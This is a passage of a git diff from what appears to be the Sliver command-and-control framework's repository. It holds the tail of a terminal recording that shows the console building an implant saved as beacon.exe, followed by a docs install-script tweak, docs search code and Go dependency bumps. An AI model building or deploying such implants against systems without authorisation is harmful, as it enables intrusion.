⠸ Compiling, please wait ..."] +[78.721328, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[78.821732, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[78.922079, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[79.022451, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[79.122864, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[79.223257, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[79.323648, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[79.424062, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[79.524561, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[79.624847, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[79.725183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[79.825596, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[79.925954, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[80.026329, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[80.126713, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[80.227116, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[80.327518, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[80.427925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[80.528328, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[80.628736, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[80.729183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[80.829605, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[80.929934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[81.030613, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[81.131023, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[81.231438, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[81.331889, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[81.432257, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[81.532654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[81.633064, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[81.733472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[81.833862, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[81.934255, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[82.034553, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[82.134968, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[82.235346, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[82.335759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[82.436139, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[82.53654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[82.636935, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[82.737336, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[82.837748, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[82.938161, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[83.038546, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[83.13896, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[83.239353, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[83.339739, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[83.440079, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[83.54049, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[83.640888, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[83.741261, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[83.841697, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[83.942096, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[84.042504, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[84.14291, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[84.243294, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[84.343901, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[84.444263, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[84.544642, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[84.64505, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[84.745433, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[84.845815, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[84.946247, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[85.046639, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[85.147039, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[85.247435, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[85.347883, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[85.448251, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[85.548654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[85.649046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[85.749462, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[85.849853, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[85.950254, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[86.050666, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[86.15108, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[86.251468, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[86.351903, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[86.452325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[86.55273, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[86.653159, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[86.753583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[86.853992, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[86.954401, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[87.054817, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[87.15522, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[87.255618, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[87.356042, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[87.456465, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[87.556878, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[87.657163, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[87.757583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[87.857998, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[87.958412, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[88.058827, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[88.159249, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[88.25968, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[88.360075, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[88.460515, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[88.560923, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[88.661328, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[88.761739, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[88.862144, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[88.962567, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[89.062994, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[89.163422, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[89.263874, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[89.364274, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[89.464691, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[89.565083, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[89.665512, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[89.765902, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[89.866299, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[89.966717, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[90.067109, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[90.167535, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[90.267978, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[90.36839, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[90.468788, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[90.569179, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[90.669594, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[90.769978, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[90.87036, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[90.970752, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[91.071155, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[91.171573, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[91.271982, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[91.372391, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[91.472816, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[91.573206, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[91.67361, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[91.774046, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[91.874466, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[91.974861, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[92.075252, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[92.175644, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[92.276061, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[92.376535, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[92.476932, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[92.577342, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[92.677712, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[92.778109, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[92.878516, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[92.97892, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[93.079343, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[93.179764, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[93.280186, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[93.380592, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[93.480997, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[93.581411, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[93.681811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[93.782218, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[93.882638, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[93.983044, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[94.083439, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[94.183863, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[94.284275, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[94.384703, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[94.485188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[94.585644, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[94.686046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[94.786429, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[94.886842, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[94.987291, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[95.087728, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[95.188065, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[95.288423, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[95.388823, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[95.489225, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[95.589663, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[95.690088, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[95.790472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[95.890891, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[95.991311, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[96.091792, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[96.192298, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[96.292733, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[96.39317, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[96.493548, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[96.594032, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[96.69446, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[96.794901, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[96.89533, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[96.995767, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[97.072858, "o", "\r\u001b[2K"] +[97.073391, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 1m21s\r\n"] +[97.105542, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /home/kali/beacon.exe\r\n\r\n"] +[97.105801, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[102.528753, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"] +[102.796622, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"] +[102.829259, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"] +[102.942614, "o", "\u001b[J\u001b[2K\r"] +[102.942731, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"] +[104.18718, "o", "\u001b[?2004l\r\r\n"] diff --git a/docs/sliver-docs/public/images/cursed-1.png b/docs/sliver-docs/public/images/cursed-1.png new file mode 100644 index 0000000000..a4a40396bc Binary files /dev/null and b/docs/sliver-docs/public/images/cursed-1.png differ diff --git a/docs/sliver-docs/public/images/dns-c2-1.png b/docs/sliver-docs/public/images/dns-c2-1.png new file mode 100644 index 0000000000..85cd40e45e Binary files /dev/null and b/docs/sliver-docs/public/images/dns-c2-1.png differ diff --git a/docs/sliver-docs/public/install b/docs/sliver-docs/public/install index 5fc7891609..2f8df8176d 100644 --- a/docs/sliver-docs/public/install +++ b/docs/sliver-docs/public/install @@ -10,12 +10,12 @@ fi # Determine OS type # Debian-based OS (Debian, Ubuntu, etc) -if command -v apt &> /dev/null; then +if command -v apt-get &> /dev/null; then echo "Installing dependencies using apt..." - DEBIAN_FRONTEND=noninteractive apt install -yqq \ + DEBIAN_FRONTEND=noninteractive apt-get install -yqq \ gpg curl build-essential git \ mingw-w64 binutils-mingw-w64 g++-mingw-w64 - INSTALLER=(apt install -yqq) + INSTALLER=(apt-get install -yqq) elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL) echo "Installing dependencies using yum..." yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git diff --git a/docs/sliver-docs/util/docs.ts b/docs/sliver-docs/util/docs.ts new file mode 100644 index 0000000000..5f3661210d --- /dev/null +++ b/docs/sliver-docs/util/docs.ts @@ -0,0 +1,8 @@ +export type Doc = { + name: string; + content: string; +}; + +export type Docs = { + docs: Doc[]; +}; \ No newline at end of file diff --git a/docs/sliver-docs/util/search-context.ts b/docs/sliver-docs/util/search-context.ts new file mode 100644 index 0000000000..5f20e87965 --- /dev/null +++ b/docs/sliver-docs/util/search-context.ts @@ -0,0 +1,40 @@ +import lunr from "lunr"; +import React from "react"; +import { Doc, Docs } from "./docs"; + + +export class SearchCtx { + + private _docs: Docs = { docs: [] }; + private _docsIndex: lunr.Index; + + constructor() { + this._docsIndex = lunr(function () { + this.ref("name"); + this.field("content"); + }); + } + + public searchDocs = (query: string): Doc[] => { + const results = this._docsIndex.search(query); + const docs = results.map((result) => { + return this._docs.docs.find((doc) => doc.name === result.ref); + }); + return docs.filter((doc) => doc !== undefined) as Doc[]; + } + + public addDocs = (docs: Docs) => { + this._docs = docs; + this._docsIndex = lunr(function () { + this.ref("name"); + this.field("content"); + docs.docs.forEach((doc) => { + this.add(doc); + }); + }); + } + +} + +export const SearchContext = React.createContext(new SearchCtx()); +export const useSearchContext = () => React.useContext(SearchContext); diff --git a/go.mod b/go.mod index c102ccbad3..9a81f65602 100644 --- a/go.mod +++ b/go.mod @@ -4,8 +4,6 @@ go 1.21.1 toolchain go1.21.4 -replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca - require ( filippo.io/age v1.1.1 github.com/AlecAivazis/survey/v2 v2.3.7 @@ -25,6 +23,7 @@ require ( github.com/gorilla/mux v1.8.1 github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 github.com/jedib0t/go-pretty/v6 v6.4.6 + github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f github.com/klauspost/compress v1.17.0 github.com/lesnuages/go-winio v0.4.19 @@ -33,23 +32,24 @@ require ( github.com/miekg/dns v1.1.57 github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 - github.com/ncruces/go-sqlite3 v0.7.2 - github.com/reeflective/console v0.1.6 - github.com/reeflective/readline v1.0.11 - github.com/rsteube/carapace v0.36.3 + github.com/ncruces/go-sqlite3 v0.8.4 + github.com/reeflective/console v0.1.15 + github.com/reeflective/readline v1.0.13 + github.com/reeflective/team v0.1.2 + github.com/rsteube/carapace v0.47.5 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.8.0 github.com/spf13/pflag v1.0.5 github.com/stretchr/testify v1.8.4 - github.com/tetratelabs/wazero v1.3.1 + github.com/tetratelabs/wazero v1.4.0 github.com/things-go/go-socks5 v0.0.3 github.com/xlab/treeprint v1.2.0 github.com/yiya1989/sshkrb5 v0.0.1 - golang.org/x/crypto v0.15.0 - golang.org/x/exp v0.0.0-20230905200255-921286631fa9 - golang.org/x/net v0.17.0 - golang.org/x/sys v0.14.0 - golang.org/x/term v0.14.0 + golang.org/x/crypto v0.17.0 + golang.org/x/exp v0.0.0-20231219180239-dc181d75b848 + golang.org/x/net v0.19.0 + golang.org/x/sys v0.15.0 + golang.org/x/term v0.15.0 golang.org/x/text v0.14.0 golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68 @@ -130,7 +130,6 @@ require ( github.com/josharian/intern v1.0.0 // indirect github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 // indirect github.com/jsimonetti/rtnetlink v1.3.5 // indirect - github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect github.com/mailru/easyjson v0.7.7 // indirect @@ -143,12 +142,15 @@ require ( github.com/mdlayher/socket v0.5.0 // indirect github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect github.com/mitchellh/go-ps v1.0.0 // indirect + github.com/ncruces/go-sqlite3/gormlite v0.8.4 // indirect github.com/ncruces/julianday v0.1.5 // indirect github.com/pierrec/lz4/v4 v4.1.18 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect github.com/rivo/uniseg v0.4.4 // indirect + github.com/rsteube/carapace-shlex v0.1.1 // indirect github.com/safchain/ethtool v0.3.0 // indirect github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff // indirect github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 // indirect @@ -166,10 +168,10 @@ require ( github.com/x448/float16 v0.8.4 // indirect go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect go4.org/netipx v0.0.0-20230824141953-6213f710f925 // indirect - golang.org/x/mod v0.13.0 // indirect - golang.org/x/sync v0.4.0 // indirect + golang.org/x/mod v0.14.0 // indirect + golang.org/x/sync v0.5.0 // indirect golang.org/x/time v0.3.0 // indirect - golang.org/x/tools v0.14.0 // indirect + golang.org/x/tools v0.16.0 // indirect golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect golang.zx2c4.com/wireguard/windows v0.5.3 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect @@ -189,5 +191,6 @@ require ( modernc.org/opt v0.1.3 // indirect modernc.org/strutil v1.1.3 // indirect modernc.org/token v1.0.1 // indirect + mvdan.cc/sh/v3 v3.7.0 // indirect nhooyr.io/websocket v1.8.7 // indirect ) diff --git a/go.sum b/go.sum index bf1c8bd268..3a76884adc 100644 --- a/go.sum +++ b/go.sum @@ -99,7 +99,6 @@ github.com/coreos/go-iptables v0.7.0 h1:XWM3V+MPRr5/q51NuWSgU0fqMad64Zyxs8ZUoMsa github.com/coreos/go-iptables v0.7.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q= github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs= github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= -github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= @@ -185,6 +184,7 @@ github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU= github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= @@ -329,8 +329,10 @@ github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/ github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o= github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8= github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o= -github.com/ncruces/go-sqlite3 v0.7.2 h1:K7jU4rnUxFdUsbEL+B0Xc+VexLTEwGSO6Qh91Qh4hYc= -github.com/ncruces/go-sqlite3 v0.7.2/go.mod h1:t3dP4AP9rJddU+ffFv0h6fWyeOCEhjxrYc1nsYG7aQI= +github.com/ncruces/go-sqlite3 v0.8.4 h1:nizhgJMMJJBrthESCwF30+oOvQkdtizgJ/v35Y0v+vg= +github.com/ncruces/go-sqlite3 v0.8.4/go.mod h1:XvDtjKk5MgwHX7L4I7BPzzKl36bTZ7+Hr6Kr2QeVkVw= +github.com/ncruces/go-sqlite3/gormlite v0.8.4 h1:omeGR0XofGGwlbWB5QSEdPQC0j58fDEULrVMLXTIt+M= +github.com/ncruces/go-sqlite3/gormlite v0.8.4/go.mod h1:52uZNxrd8iQVjmxE6l3Dt71zoHpwnoDDFIqB1wW1+Cg= github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk= github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= @@ -348,12 +350,14 @@ github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Q github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= -github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw= -github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= -github.com/reeflective/readline v1.0.11 h1:4+aiebj7a89hTRJOMM98H+md1Kxu+v1XkfdCs0n6odQ= -github.com/reeflective/readline v1.0.11/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= +github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= +github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= +github.com/reeflective/console v0.1.15 h1:r4M1a19s882znSO5Zkj7memsLSDTLT/0fZwdNzhIldE= +github.com/reeflective/console v0.1.15/go.mod h1:U2i+gzsZ5mT9LZHLzoeuOJ7BtcyXy7l+psRZSu4zmQU= +github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss= +github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A= +github.com/reeflective/team v0.1.2 h1:g3Cy5fbM0JzuxSNCvzY9DDytYxFqFSCLlWumKmzB35M= +github.com/reeflective/team v0.1.2/go.mod h1:1U0RS3dwou/HbqUK4mgmBEU4+qe1oEuI3TCYcMQbkNI= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= @@ -361,6 +365,10 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= +github.com/rsteube/carapace v0.47.5 h1:4S4F4+kSgbxDbA1RWMVUO6JNB62DUB/twblwG/jRgj0= +github.com/rsteube/carapace v0.47.5/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o= 